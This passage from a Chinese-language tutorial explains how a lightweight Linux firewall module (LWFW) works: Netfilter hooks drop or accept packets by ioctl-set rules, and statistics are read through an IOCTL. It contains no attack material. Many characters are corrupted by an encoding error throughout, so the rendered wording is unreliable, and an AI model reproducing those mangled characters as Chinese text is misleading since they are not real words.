這些規(guī)則的設(shè)置由ioctl()接口完成。當(dāng)一個(gè)數(shù)據(jù)包被接收,LWFW按照我們?cè)O(shè)定的規(guī)則進(jìn)行檢查。如果匹配了其中的任意一條規(guī)則,那么hook函數(shù)將返回NF_DROP,然后Netfilter將悄無(wú)聲息的丟棄這個(gè)數(shù)據(jù)包。否則,hook函數(shù)返回NF_ACCEPT,數(shù)據(jù)包將繼續(xù)它的旅程。
最后,有必要提一下的是LWFW的統(tǒng)計(jì)日志。無(wú)論任何時(shí)候數(shù)據(jù)包進(jìn)入hook函數(shù),LWFW都將收到的數(shù)據(jù)包的計(jì)數(shù)累加。單獨(dú)的規(guī)則檢查函數(shù)負(fù)責(zé)增加它們各自的丟棄的數(shù)據(jù)包的計(jì)數(shù)。注意,當(dāng)規(guī)則的值被改變時(shí),它的丟棄數(shù)據(jù)包的計(jì)數(shù)被重置為0。lwfwstats程序利用LWFW_GET_STATS這個(gè)IOCTL來(lái)獲取統(tǒng)計(jì)數(shù)據(jù)結(jié)構(gòu)的一個(gè)副本并顯示其內(nèi)容。 |
|
來(lái)自: omcc > 《網(wǎng)絡(luò)》